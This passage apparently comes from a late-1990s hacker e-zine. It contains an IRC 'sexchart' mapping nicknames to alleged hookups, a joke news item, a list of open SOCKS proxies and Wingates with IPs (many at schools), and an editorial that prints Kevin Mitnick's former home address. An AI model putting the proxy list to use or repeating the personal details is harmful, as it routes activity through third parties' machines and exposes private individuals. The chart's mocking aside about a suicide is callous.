|||||`. `-|--. wing -------' |`---.||.--|------------ juliet --.| max-q ||
||||`-|-. | | mooks nts |||| `-. gfm --. | || | ||
|||`. | | | `------------|---|-- *fuz!* --|-------- morgen | looey | ||
||`-|-|-|-|-- kitkat^ ----|---|----'||`----|- lesb0 -|--|---|---. | ||
|| | | | | | | || | | | | luq | ||
|`--|-|-|-|---------------|---|-----'| dangergrl earle | | | ||
| | | | | sparxx --- l0ra!@ ----' | | | | | scorpion | ||
| `-|-|-|---------------'|| || slawz | | WIL WHEAT0N | | | ||
| | | | dt --'| |`----------|--|--------. | sfuze | ||
| | | | .--' | .---' oghost mchemist --' | ||
| | `-|--------------|----|-------|---------------' | | ||
| | `--------------|--- theejoker zens -- skinflower suiciety | ||
| | rosieriv -- tfish | | | | | | ||
| | | | `-----. quagmire | monachus -|-|-- daud | ||
| | | chlamydiarose | | | | | | ||
| `------|---. | | nekkidamy polymorf `---. | .'.'|
| .-- gheap | Zomba_Soul isis --------|---|------------|-|------|-|-'
| | | .--- q | | | | | |
| | | acronym | | | syndrome | |.-----' `-.
| torquie ------|-- countzero | | | | | | || plexor |
| | | | *thepublic* | | | || | |
`--|----|--------|-- theora -- RAgent | | | | | || | |
ludi dispater | | | rainbow lust!@@# --' |
`--------|----|-- dildog -- ladyada .--|-----' | | |||| | |
phen bopeep | .-|--|--- *maq* -. | |||| netmask -'
.---|------' | | montel --. .-------|-|--|-----' | | | |||`-|--------.
| el_jefe ---|-|-------- Heather sami | | .-----|---|-' ||| | |
| | | | | | | | .---' | ||| | cal |
| Mika tari --|-|-- dan_farmer .-- *pill* | | | vamprella ||| | | |
| `-. | | | | .----|--|-|-|---|-------'|`. | Er1s |
| val -- shipley -- muffy demonika --|--' | | purpcon | | | | |
| | || | | | .-'| |||| .-' .-' | .---|-|-|-' JonM |
| karrin --'| | danea mycroft | |||`-|--. | .-|-- kel -|---|-|-' | |
| | | | | | ||| | lizzie | .-' | | | | JiJi |
| CGD -- jen `-|--- banshee | | ||| | | | | | gh0st --|-|------' |
`---------------|------------' | ||| | | sage | `--. .--' `-. shaedow
Astaroth | wraith --|--'|| `-|------|----|----|-----.| | |
| | | | |`----|------|-- *disorder* wednesday |
DangerJen .--- se7en t | `-----|------|----|-|-|---------' |
| | | `---. | onyx -- furie | | | blaise -- skippy |
msk ---' simunye pandora `---|------------|----|-|------------------'
||| michelle ----|----' yt -- panther_modern
||`---------------------------------. .---|---------------.
|| .--------------------------- fizzgig --|-- rubella |
|`----|-------------------------. | | | | |
Imperia | deadgirl | | | | | |
| | lethar ----------. |.-|--|---|-|---' neologic |
Asmodeus | | | | || | | | `---. | |
.--' | | | valeriee Mali netik -|-----|-- mayfair | Kalannar
| Sinja | | | | | | | | |
| | Xaotika StVitus | | | fishie -- Missa | E_D |
| | | | | | | | |
| outside -- emmie Frobozz | | belial --- Uadjit -- solomon -- Mottyl
| | | | | | | | | | |`---.
| rebrane | Murmur_gth | | | |.---------|-' Grue --|--|-- moomin13
| | | | | | | ||.--------|-----' | |
`--------|------|---------|-- gothbitch! -------|-----------' Fiore --.
JelloMold *bifrost* `--. | ||`---------|--------------'| |
| `----- aex |`--- pahroza -- anubis MartYr |
bile -- turtlgrl --------|----|------' | | |
inox Miah secretboy Arkham Stipen
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
hydro311 Starr angieb am0eba -- spyder_bytes thepublic -- rage
| | |
Chef -- meenk ---- gweeds tigerbeck -- bifrost disorder -- kamira
| | |
fuz B00bz magpie pinguino -- pill maq -- apok0lyps
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"the big loop" is over 800 people! holy crap!
work for the chart.
the top rankings:
----------------
#1 winner -- pinguino & gweeds -- 21 links! it's a tie!
#2 winner -- meenk -- 19 links!
#3 winner -- crank -- 18 links!
#4 winner -- xgirl -- 15 links!
#5 winner -- n0elle & sQurl -- 13 links! it's a tie!
honorable mention:
-----------------
12 links: gothbitch, ophie, GoNINzo, Wayhigh, & phyzzix!
11 links: murmur, evol, lust, Mikey, & fuz!
10 links: pip, & tigerbeck!
9 links: metalchic, Kaleid, hillary, y-windows, fuz, hitchcock, demonika,
& l0ra!
be a winner *today*!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
unconfirmed links:
these are links i've been told more than twice to add, but have then been
told by others to remove once they're on the chart. each link stays for
six months, & if no one can prove it's valid in that time, it is
removed & assumed untrue.
if you bore witness to one of these links or know someone who did, mail
crank@ice.net with your confession!
(no unconfirmed links at this time.)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
notable gross things on the chart:
this is a section for easy reference to family members on the chart. the
end people are the relation as noted. if you know two people on the big
loop are in the same family, mail crank@ice.net & let us rejoice in the
incest!
tigerbeck -- aries99
1 link: siblings
spirit -- hillary -- seth -- candyrain
3 links: siblings
pixy -- gweeds -- jess -- andrew -- mswicked
4 links: siblings
blueeyes -- 8ball -- crank -- aoxomoxoa -- poppie -- donnie
5 links: siblings
art -- seaya -- kaia -- murmur -- sonia -- plexus
5 links: siblings
potter -- scat -- bF -- evol -- styx
4 links: cousins
christy -- kkrazy -- kinessa -- gweeds -- LCN -- tanadept
5 links: stepsiblings
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#2600:
lashtal
|
empress deadguy | maverick
| | | |
sin ----- speck -- liquid_motion
| |
beastly -- c4in d_rebel
kspiff -- mimes -- dieznyik -- nelli
|
borys -- zebby (#bodyart)
LdyMuriel Erato flutterbi chexbitz
`---. | .---' |
Kalika -- IceHeart -------------- virago -- mre
|| | | |
Berdiene --'| | Pyra -- Roamer ewheat
| `---------.
Serenla --' roach -- satsuki -- spinningmind
kitiara -- starlord
anarchy -- aphex twin
soul seeker -- educated guess
tempus thales -- lady in black -- midnight sorrow
magnatop -- darice
jandor -- alexis ryna
illusionx -- thumper
javaman -- nrmlgrl
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
bodyart [#bodyart/#bodypiercing/#tattoo]:
ga[r]y
| |
xindjoo -- grrtigger -- bone-head
| |
FreAkBoi -- psychoslut -- timo
heidikins -- pasquale
grub -- gypsie
tabaqui -- catbones -- sprite
ministry -- SuperMia -- superdave
bert37 -- chiot
steppah -- creeper
syx66 -- gypsy_whore
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#coders:
simon -- wolfie -- raphael (#trax)
bolt -- ashli
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#ezines:
sirlance -- holly -- hardcore
|
rattle -- s4ra -- doommaker
phairgirl -- M4D_3LF -- amanda -- unrelated -- effy -- BigDaddyBill
| |
pixieOpower
spiff -- tl109
figglemuffinz -- creed
ilsundal -- fairy_princess
vanir -- darkland
snarfblat -- d1d1
dimes -- bexy -- mindcrime
tut -- casey
pezmonkey -- cptbovine
greyhawk -- crazybaby
cheesus -- meowkovich
catbutt -- pulse
ygraine -- drool
bigmike -- shana
camel -- icee
UberFizzGig -- kniht -- wadsworth
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#hack:
t0c -- seussy -- o0
|
taner
glyph -- adnama -- weaselboy -- vein -- montell
| |
m0rticia
shamrock -- jennicide -- efpee -- imposter-dh
|
bellum
radikahl -- jazmine -- gitm
t3kg -- elfgard
pluvius -- lydia
panic -- plant -- erikt
sl33p -- molldoll
allman -- costales
rhost -- sue_white
serpent -- no_ana
vaxbuster -- tiggie -- redragon
ajrez -- luminare -- m0jo
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#mindvox:
killarney -- tomwhore -- fairosa -- kids
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
misc:
MsLePew -- Beacher
sangfroid -- inspektor
foo -- leeny
HippieEB -- Imaj
mskathy -- strahd
plutonium -- pixiedust
cnelson -- vanessa
Hawkerly --- MeaNKaT --- Morpheus
Vega1 -- Serena
DIPTY_DO -- Trish_ -- hellsnake
Grace^ -- Gusto -- puckie
notyou -- jennyh
Skada -- icee_bin -- eriss
doogie -- sarahlove
kirby-wan -- cybergirl
lurid -- deb -- bmbr
j-dog -- a_kitten
Fenchurch -- Becca
captain_zap -- ms_infowar
jaran -- duke
chs -- princess
ndex -- illusions
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
music [#punk/#ska/#sxe]:
solaris -- kojak -- chelsea -- pieskin -- lady rude
|
kcskin -- janew
|
kamaskin -- kimee -- dano
joojoo nes
| |
auralee -- konfuz -- subgurl -- danx -- starla
| |
kathy21 alee
mutata -- skidman
shellskin -- amberskin
astrophil -- maggiemae
skarjerk -- pancreas
prick -- taxie -- jubjub
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#seattle:
nitefall bgh -- superlime -- Shill -- Lizsac fimble
| | |
juice -- e1mo -- shane -- aeriona -- Justnsane -- koosh -- tcb
clarita -- dataangel
wyclef -- NessaLee
Drmc -- Jill-
SisSoul -- Matt
Dawgie -- Jenay
jsk -- ames
Liz -- jkowall
kurgan -- babygrrl
Mcbeth -- BeccaBoo
djinn -- ruthe
wankle -- carrianne
hamilton -- nurit
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#skate:
kindje -- tigerkat -- huphtur -- superzan
|
punkgirl -- yakuza -- maryjane
|
caroline -- rhy
cosmo cks lodias
`--. | .--'
outlander -- spike -- lightborn
.--'|||`--.
darkelf ||| weevil
|||
tenchi --'|`-- h0ly
[r]
katskate -- earwax
vlinder -- miesj
superfly -- conchita -- nobaboon -- no_fievel
p4nacea -- bakunin
herculez -- nicki
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#trax:
cardiac sandman -- trissy skie -- necros
| | |
saxy -- vegas basehead
| | |
kiwidog fassassin -- discodiva
gblues
|
squeep -- qporucpine -- ami -- dilvish
higherbeing -- ms_saigon -- floss
| |
howler vizz
mellow-d -- kisu -- snowman -- trixi
|
megz
lowrider -- lum -- perisoft
mickrip -- astrid -- draggy -- leece
pandorra -- malakai
ozone -- bliss
animix -- pixie
lummy -- daedalus
frostbitten_dream -- pickl'ette -- redial
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#twilight_zone:
revneptho dtm Frizz0 Wireless
`----.| .---' |
h0lydirt --- nina -- zbrightmn -- halah
.--'| `---. |
dog3 | whistler RockShox
|
chilly
joeN -- daysee -- evil_ed -- linnea
|
munchie
Loverman -- Missi
redbird -- reddy
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#unix:
in4mer -- devilgrl
gerg -- tyger
chloe -- cosmos
dem -- webb
callechan -- rhiannon
RealScott -- Ila
supertaz -- skye
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
revision history -- last updated 7-28-99
v9.04: added belial, f_fisher, Murmur_gth, bix, DJTrax, kamira, Heather,
phen, montel, monachus, Schquimpy, Nex, phreaky, Sylvie, Katia,
banshee, PointBlank, & RaggedyAnne.
added magpie, hydro311, kamira, disorder, apok0lyps, maq, rage,
& thepublic to the secondary chart.
(if anyone has an alternate nick for the #gothic Murmur, please mail
me. i used the nick Murmur_gth for now.)
added misc gh0st group to the big loop.
gweeds moves up to winner 1.
meenk moves up to winner 2.
gothbitch moves up to honorable mention 12.
renamed Listener to alecks.
renamed illuminaeti to luminare.
renamed zines category to #ezines.
added phairgirl -- pixieOpower -- M4D_3LF -- amanda to #ezines.
added amanda -- unrelated -- effy -- BigDaddyBill to #ezines.
added jennicide -- bellum to #hack.
added luminare -- ajrez to #hack.
added to misc:
deb -- bmbr
j-dog -- a_kitten
Fenchurch -- Becca
captain_zap -- ms_infowar
deb -- lurid
jaran -- duke
chs -- princess
ndex -- illusions
removed one outdated "unconfirmed link".
removed miasma -- six from unconfirmed. oops.
removed bogus links:
t -- gf -- lilfeet
Quarex -- keroppi
new links:
fizzgig -- (solomon, Asmodeus, fishie, belial)
Grue -- gothbitch -- Asmodeus
gothbitch -- belial -- Uadjit
METchiCK -- (f_fisher, grimmy, deadapril, supervixn)
kel -- (disorder, lizzie, gh0st)
corp -- gweeds -- magpie
aex -- Murmur_gth
eppie -- bix
styx -- DJTrax
meenk -- hydro311
halfman -- sumogirl
disorder -- kamira -- apok0lyps -- maq -- Heather -- montel
el_jefe -- (Mika, phen, Heather)
daud -- monachus
amos -- velcro
Schquimpy -- (trilobyte, EddieV, Nex)
splat -- phreaky
Sylvie -- neko -- Katia
shipley -- banshee
thepublic -- rage
hylonome -- PointBlank -- RaggedyAnne
hylonome -- RaggedyAnne -- Quarex
v9.03: added deadgirl, Gemni, DrMonk, AK47, monkeygrl, Miah, grlfrmars,
wildcard, spectacle, kev-man, bile, chinagirl, rubella, Arkham,
Uadjit, fishie, solomon, moomin13, Grue, Missa, Mottyl, Kalannar,
E_D, Fiore, MartYr, & Stipen.
added angieb to the secondary chart.
updated number of people in the big loop.
gweeds moves up to winner 2.
meenk moves up to winner 3.
gothbitch moves up to honorable mention 9.
added miasma -- six to unconfirmed.
added zines The_Sock group to the big loop.
added zines AnonGirl group to the big loop.
added javaman -- nrmlgrl to #2600.
added satsuki -- (IceHeart, roach, spinningmind) to #2600.
added doogie -- sarahlove to misc.
added kirby-wan -- cybergirl to misc.
added shane -- aeriona to #seattle.
added to #trax:
skie -- necros
astrid -- draggy
ms_saigon -- vizz
snowman -- megz
removed bogus links:
mailart -- konfuz (mailart = nes)
new links:
DH -- Gemni -- DrMonk
meenk -- AK47
gweeds -- angieb
AIDS -- caitlin
deadgirl -- Mali -- maq
logicbox -- monkeygrl
Fiore -- gothbitch -- Miah
grlfrmars -- (mogel, wildcard, spectacle, kev-man)
turtlegrl -- bile
trilobyte -- chinagirl
fizzgig -- rubella
anubis -- Arkham
swisspope -- AnonGirl
pahroza -- Uadjit -- solomon -- moomin13 -- Grue
Fiore -- solomon -- gothbitch -- Uadjit -- fishie -- Missa
Mottyl -- (solomon, Kalannar, E_D)
MartYr -- Fiore -- Stipen
v9.02: added rebrane, Xaotika, valeriee, JelloMold, neologic, amos, EddieV,
Roadruner, TAYL0R HAWKINS, MINNIE DRIVER, secretboy, kel, nevre,
freqout, krnl, skatin, Sinja, Frobozz, & hawk.
gweeds moves up to winner 2.
meenk moves up to winner 3.
sQurl moves up to winner 6.
metalchic moves up to honorable mention 9.
renamed cannianne to carrianne.
added to misc:
Hawkerly --- MeaNKaT --- Morpheus
Vega1 -- Serena
DIPTY_DO -- Trish_ -- hellsnake
Grace^ -- Gusto -- puckie
notyou -- jennyh
Skada -- icee_bin -- eriss
(special note: eriss was dumped for Skada & subsequently leapt
to her death from a nineteeth story window. neat!)
added to #zines:
nico -- anjee -- meethos -- METchiCK -- The_Sock -- ^mindy^
meethos -- Alucard -- The_Sock -- kitn -- ILUVJeNNA
MrJuGGaLo -- METchiCK -- facedown
caitlin --- wmmr --- coffeegrl
AnonGirl -- Medusa -- PrimeX -- Juliette
removed bogus links:
emmie -- (netik, msk, Herodotus)
billn -- Tay -- retrospek
mayfair -- outside
Mali -- (Asmodeus, pahroza, Uhlume, Imperia)
new links:
emmie -- rebrane -- JelloMold
Xaotika -- lethar -- valeriee
mayfair -- neologic
trilobyte -- amos -- EddieV -- sonia
sQurl -- Roadruner
Tay -- TAYL0R HAWKINS -- MINNIE DRIVER
anubis -- secretboy
netmask -- kel
meenk -- nevre
gweeds -- freqout
missx -- krnl
metalchic -- skatin
Imperia -- Asmodeus -- Sinja
turtlgrl -- pahroza -- gothbitch -- Mali -- lethar
fizzgig -- msk
gothbitch -- Frobozz
darwin -- hawk
v9.01: added tamago, atticus, lilindian, martyn, aries99, ryshask, timmerca,
twichykat, soulvamp, mysl, fizzgig, lethar, anubis, & inox.
added tigerbeck & bifrost to the secondary chart.
updated number of people in the big loop.
new "gross link":
tigerbeck -- aries99 (1: siblings)
gweeds moves up to winner 3.
tigerbeck moves up to honorable mention 10.
added FreAkBoi -- psychoslut -- timo to #bodyart.
added supertaz -- skye to #unix.
removed one outdated "unconfirmed link".
removed bogus links:
juliet -- readwerd
FreAkBoi -- ga[r]y (#bodyart)
Briana -- homeysan
new links:
seaya -- tamago
_Melody_ -- atticus
DrkSphere -- lilindian
tigerbeck -- (aries99, martyn, ryshask, timmerca, soulvamp)
tigerbeck -- (allira, twichykat, spacegirl, bifrost)
gweeds -- mysl
msk -- DangerJen -- Astaroth
outside -- mayfair
netik -- fizzgig
emmie -- lethar
pahroza -- anubis
aex -- inox
v9.00: i was going to do something special for 9.00, but there just isn't
anything to do. would you people be interested in sexchart
tshirts? mail crank@ice.net.
note to webmasters - it's not sexchart.8 anymore - sexchart.txt. be
sure to update your links.
added NeuralizR, vlaad, pahroza, Imperia, Mali, Uhlume, StVitus,
Herodotus, & Asmodeus.
added am0eba, & spyder_bytes to the secondary chart.
added netik & Mali sections to the big loop.
added new section: #seattle.
moved e1mo links to #seattle.
moved koosh -- tcb to #seattle.
moved clarita -- dataangel to #seattle.
added chexbitz -- virago -- ewheat to #2600.
added Astaroth -- DangerJen to #gothic.
added plutonium -- pixiedust to misc.
added cnelson -- vanessa to misc.
added to #seattle:
wyclef -- NessaLee
Drmc -- Jill-
SisSoul -- Matt
Dawgie -- Jenay
jsk -- ames
Liz -- jkowall
bgh -- superlime -- Shill -- Lizsac
fimble -- koosh -- Justnsane -- aeriona -- superlime
kurgan -- babygrrl
Mcbeth -- BeccaBoo
djinn -- ruthe
wankle -- cannianne
hamilton -- nurit
added halah -- Wireless to #twilight_zone.
removed one outdated "unconfirmed link".
removed bogus links:
e1mo -- chris22 (#seattle)
loki -- am0eba -- sledge
missx -- (sledge, erikb, ice9)
Briana -- nebulizr
logicbox -- skully
murcurochrome -- jazmine -- deadkat (#hack)
new links:
am0eba -- spyder_bytes
Briana -- (NeuralizR, bumble, nettwerk, homeysan, tsal)
teletype -- vlaad
netik -- msk -- emmie -- outside
aex -- bifrost -- emmie -- netik
emmie -- Herodotus
bifrost -- turtlgrl
Imperia -- msk
Mali -- (Uhlume, Imperia, Asmodeus, StVitus, pahroza)
@HWA
05.0 Peer finally arrested after over a decade of connection resetting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.ircnews.com/
(Humour, in case you didn't know a common connection error is
"connection reset by peer" caused by errors in the network and on
occasion a DoS attack on your IRC connection... ;) - Ed)
Peer Arrested, Charged With Resetting Connections
SEATTLE, WA - An exhaustive eight month cyberhunt
ended shortly before dawn on January 14th, 2000, as FBI
agents and Washington State Troopers apprehended the
elusive chatroom terrorist known only as Peer.
The IRC menace was brought to justice after a
decade-long connection resetting spree that plagued
chatters around the globe. FBI officials said the number of
reset connections numbered in the "millions".
Connections being reset by peer were the number one
cause of interupted chat sessions on all major IRC
networks in 1999.
Undernet ChanServ Committee member Morrissey told
IRCNews.com, "What set peer apart was the element of
suprise. With ping, you kinda knew you were gonna time
out. You could tell. Peer totally got you out of nowhere."
Leland, another bigshot on the Undernet IRC network,
praised the FBI for their work, "How many idle times must
be ruined? How many cybersex sessions must be cut
short before we put an end to Peer and his shinanigans?"
Peer's lawyers criticized Leland's use of the word
"shinanigans".
Peer's lead defence attorney responded, "Really, I think
we can come up with a better term than that. We're all
adults here. Besides, it's 'alleged' shinanigans."
Federal Prosecutor Sarah Evans told IRCNews.com she
intends to "throw the book" at Peer. If convicted on all
counts, Peer could spend up to the next three years on
probation.
"His ass is mine.", claimed a motivated Evans. "With any
luck, we'll get that judge who handled the Mitnick case."
@HWA
06.0 Updated proxies list from IRC4all
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://www.lightspeed.de/irc4all/
Socks 4 proxies:
~~~~~~~~~~~~~~~~
NotFound 200.248.68.129
NotFound 200.36.19.225
NotFound 195.5.52.154
ch-angrignon.qc.ca 207.236.200.66
m105.clic-in.com.br 200.231.28.15
NotFound 195.42.150.129
www.quicktest.com 12.8.210.132
internet-server.ebf.com.br 200.231.27.1
wk135.dnr-inc.com 216.62.50.135
122-94.w3.com.uy 207.3.122.94
mail.theova.com 195.14.148.65
mercury.knowlbo.co.jp 210.160.144.146
igic.bas-net.by 194.85.255.49
cr216724724.cable.net.co 216.72.47.24
zakproxy.alexcomm.net 163.121.219.62
proxy.quicktest.com 12.8.210.130
NotFound 195.14.148.101
NotFound 210.237.181.226
zskom.vol.cz 212.27.207.7
tsp-proxy.tsss.com 12.2.81.50
proxy.utvlive.com 194.46.2.34
news.ukrnafta.ukrtel.net 195.5.22.196
pcse.essalud.sld.pe 200.37.132.130
dns-server1.tj.pa.gov.br 200.242.244.1
cr216724718.cable.net.co 216.72.47.18
NotFound 194.85.255.117
NotFound 195.42.150.132
NotFound 212.22.69.35
patter.lnk.telstra.net 139.130.81.160
nic-c49-067.mw.mediaone.net 24.131.49.67
NotFound 206.112.35.146
ts18.svamberk.cz 212.47.11.231
NotFound 212.68.162.183
NotFound 194.204.206.139
mars.sos.com.pl 195.117.212.4
mail.ermanco.com 12.2.82.130
www.ukrnafta.ukrtel.net 195.5.22.195
39.volgaex.ru 194.84.127.39
NotFound 194.243.99.199
www.cassvillesd.k12.wi.us 216.56.42.3
34.volgaex.ru 194.84.127.34
pc-gusev3.ccas.ru 193.232.81.47
xl2.cscd.lviv.ua 195.5.56.1
modemcable161.21-200-24.timi.mc.videotron.net 24.200.21.161
tconl9076.tconl.com 204.26.90.76
jm1.joroistenmetalli.fi 194.137.219.130
jovellanos.com 194.224.183.221
ns.ticketport.co.jp 210.160.142.82
plebiscito.synapsis.it 195.31.227.14
NotFound 194.243.99.162
NotFound 194.204.205.93
NotFound 212.205.26.80
NotFound 210.56.18.228
h0000e894998c.ne.mediaone.net 24.128.161.28
NotFound 198.162.23.185
www.sos.iqnet.cz 212.71.157.102
ns.terna.ru 212.188.26.67
NotFound 206.103.12.131
NotFound 203.116.5.58
207-246-74-54.xdsl.qx.net 207.246.74.54
adsl-63-196-81-8.dsl.sndg02.pacbell.net 63.196.81.8
glennsil.ne.mediaone.net 24.128.160.74
dns.hokuto.ed.jp 210.233.0.34
210-55-191-126.ipnets.xtra.co.nz 210.55.191.126
relectronic.ozemail.com.au 203.108.38.61
sai0103.erols.com 207.96.118.243
frontier.netline.net.au 203.28.52.160
210-55-191-125.ipnets.xtra.co.nz 210.55.191.125
NotFound 212.68.162.177
216-59-41-69.usa.flashcom.net 216.59.41.69
mail.medikona.lt 195.14.162.220
NotFound 195.14.148.99
proxy1.israeloff.com 206.112.35.156
NotFound 195.14.148.98
NotFound 195.14.148.97
mail.trutnov.cz 212.27.207.8
sripenanti01-kmr.tm.net.my 202.188.62.6
c111.h202052116.is.net.tw 202.52.116.111
NotFound 195.14.148.100
nevisco.city.tvnet.hu 195.38.100.242
ipshome-gw.iwahashi.co.jp 210.164.242.146
216-59-40-227.usa.flashcom.net 216.59.40.227
NotFound 212.47.11.130
216-59-40-72.usa.flashcom.net 216.59.40.72
altona.lnk.telstra.net 139.130.80.123
burnem.lnk.telstra.net 139.130.54.178
edtn004203.hs.telusplanet.net 161.184.152.139
ns.ukrnafta.ukrtel.net 195.5.22.193
edtn002050.hs.telusplanet.net 161.184.144.18
nic-c40-143.mw.mediaone.net 24.131.40.143
gk8-206.47.23.149.kingston.net 206.47.23.149
dns.rikcad.co.jp 210.170.89.210
dsl-148-146.tstonramp.com 206.55.148.146
52-012.al.cgocable.ca 205.237.52.12
216-59-38-142.usa.flashcom.net 216.59.38.142
dns1.ctsjp.co.jp 210.172.87.146
52-061.al.cgocable.ca 205.237.52.61
edtn003590.hs.telusplanet.net 161.184.150.34
modemcable215.2-200-24.hull.mc.videotron.net 24.200.2.215
Socks 5 proxies
~~~~~~~~~~~~~~~
NotFound 195.5.52.154
NotFound 168.187.78.34
NotFound 210.56.18.228
NotFound 200.241.64.130
NotFound 206.112.35.146
NotFound 194.243.99.162
NotFound 194.243.99.199
garrison-grafixx.com 216.36.30.76
internet-server.ebf.com.br 200.231.27.1
pc-gusev3.ccas.ru 193.232.81.47
mail.clintrak.com 206.112.35.178
NotFound 195.146.97.178
ns.wings.co.jp 210.168.241.106
wk135.dnr-inc.com 216.62.50.135
ts18.svamberk.cz 212.47.11.231
jm1.joroistenmetalli.fi 194.137.219.130
morris.ocs.k12.al.us 216.77.56.74
c111.h202052116.is.net.tw 202.52.116.111
relectronic.ozemail.com.au 203.108.38.61
jovellanos.com 194.224.183.221
oms.ocs.k12.al.us 216.77.56.106
ntserver01.thomastonschools.org 209.150.52.114
port58151.btl.net 206.153.58.151
mail.medikona.lt 195.14.162.220
chester.chesterschooldistrict.com 12.6.236.250
NotFound 206.103.12.131
p5.itb.it 194.243.165.21
NotFound 194.226.183.34
nic-c49-067.mw.mediaone.net 24.131.49.67
south.ocs.k12.al.us 216.77.56.90
NotFound 195.146.98.226
cr216724718.cable.net.co 216.72.47.18
north.ocs.k12.al.us 216.77.56.66
dns.hokuto.ed.jp 210.233.0.34
linux.edu.vologda.ru 194.84.125.217
proxy.utvlive.com 194.46.2.34
ibp.santa.krs.ru 195.161.57.133
dns.rikcad.co.jp 210.170.89.210
207-246-74-54.xdsl.qx.net 207.246.74.54
jeter.ocs.k12.al.us 216.77.56.98
carver.ocs.k12.al.us 216.77.56.114
ohs.ocs.k12.al.us 216.77.56.122
wforest.ocs.k12.al.us 216.77.56.82
dns1.ctsjp.co.jp 210.172.87.146
edtn003590.hs.telusplanet.net 161.184.150.34
edtn004203.hs.telusplanet.net 161.184.152.139
165-246.tr.cgocable.ca 24.226.165.246
216-59-41-69.usa.flashcom.net 216.59.41.69
Wingates
~~~~~~~~
NotFound 210.56.18.228
NotFound 206.103.12.131
port58151.btl.net 206.153.58.151
NotFound 200.241.64.130
wk135.dnr-inc.com 216.62.50.135
cr216724718.cable.net.co 216.72.47.18
dns.hokuto.ed.jp 210.233.0.34
dns.rikcad.co.jp 210.170.89.210
altona.lnk.telstra.net 139.130.80.123
burnem.lnk.telstra.net 139.130.54.178
52-061.al.cgocable.ca 205.237.52.61
proxy.utvlive.com 194.46.2.34
207-246-74-54.xdsl.qx.net 207.246.74.54
edtn002050.hs.telusplanet.net 161.184.144.18
dns1.ctsjp.co.jp 210.172.87.146
edtn004203.hs.telusplanet.net 161.184.152.139
mars.sos.com.pl 195.117.212.4
165-246.tr.cgocable.ca 24.226.165.246
Other proxies available, check the site for more/updated lists.
@HWA
07.0 Rant: Mitnick to go wireless?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Editorial, by Cruciphux
Jan 23rd 2000
Finally the long awaited release of ueber hacker Kevin Mitnick has
arrived, he was released Friday Jan. 21st in the morning and is not
allowed to touch computers or cellular phones for a period of three
years without express permission of his probation officer.
Kevin holds out one hope though, earlier in his 'carreer' Kevin was
an avid amateur radio operator and his license recently expired, he
is reportedly scrambling to obtain a new one. This poses some very
interesting questions, will he be allowed to operate his HAM equipment?
Packet Radio
For those not in the know myself and several HWA members are also
HAM operators, most of us got hooked by the prospect of a technology
called "packet radio". The internet runs on a protocol known as X.25
packet radio uses a similar methodology known as AX.25, the "A" denotes
"A"mateur. We're some of the few people that have actually IRC'ed
using a packet radio link to a unix server over the 2m band, but of
course this requires a computer and additional computer equipment hooked
to the radio gear necessary to run packet, what if we forget all that
since it is out of Kevin's reach to own a computer at this time and look
at what other 'trouble' he can get into.
Repeater Nets and the Autopatch
The radios of choice these days among young hams are dual band HT's (short
for handy-talky or 'walky-talkie') these will usually cover the 2m band
and the 440 cm bands, the 2m band by itself is the most common band in use
and operates a great deal using repeaters. A repeater can be compared to
a cell site insomuch as it takes a weak signal (the HT, generally 100mw to
4 watts in power, much like small cell phones) and REPEATS or re-broadcasts
on another (close) frequency a stronger signal, thus reaching greater
range. With special DTMF codes it is possible to LINK repeaters and talk
across the country using repeater nets.
Whats so great about this?, apart from the obvious ability to talk to people
long distances for little to no cost, many repeaters have the magic box
known as an AUTOPATCH. The autopatch is a computer interface at the repeater
site that interfaces your radio signals with a TELCO line. (aha!). Yes
many hams enjoy the priviledges (minus obvious privacy and anonymity) of
'cellular' or 'radio phone' useage for minimal cost. For a GOOD radio you
are looking at an investment around $500 and for a HAM club membership
(to get all the repeater and autopatch codes etc) you're looking at around
$15/year or you can find the codes posted in many places on the web.
Caveats / privacy
The airwaves are 'public property' and as such are regulated (for our own
good of course) by big brother, that being the FCC in the U.S.A or DOC in
Canada. When you pass your licensing test (minimal proficiency in electronics
and general radio theory must be demonstrated via written test) you will be
assigned a unique CALL SIGN (in some places you can request a custom/vanity
sequence but will be allocated a random unused call if your request is being
used). Since the airwaves are public property, so are the records of those
users that are licensed to broadcast on them. Several online databases exist
or can be purchased cheaply on CDROM with many search features like search by
name, call address, partials etc... in this case a simple search on the QRZ
website (http://www.qrz.com/) in the OLD database for "Kevin Mitnick" returns
several possible matches, among them the correct one which is listed below.
--------------------------------------------------------------------------
Callbook Data for N6NHG
The following information is taken from the March 1993 QRZ Ham Radio
Callsign Database. This is not the current information for this callsign.
Click on the underlined callsign to see the latest information for this
record.
Callsign: N6NHG
Class: General
Name: KEVIN D MITNICK
Effective: 12 Dec 1989
Expires: 12 Dec 1999
Address: 14744 LEADWELL ST
City/State: VAN NUYS CA 91405
--------------------------------------------------------------------------
We can safely assume this is correct since the initials (KDM) are right and
the location matches up along with the license renewal date of 12/12/99.
Shennanigans
How does Kevin fit into all this? well as you can see, it is possible to
interface the radio with computer equipment and also manipulate outside
phone lines using ham radios, a recurring problem in these parts were pirate
operators making bogus 911 calls using the local CN-Tower's (then public or
'open' autopatch - it now requires a code and subaudible PL tone) actually
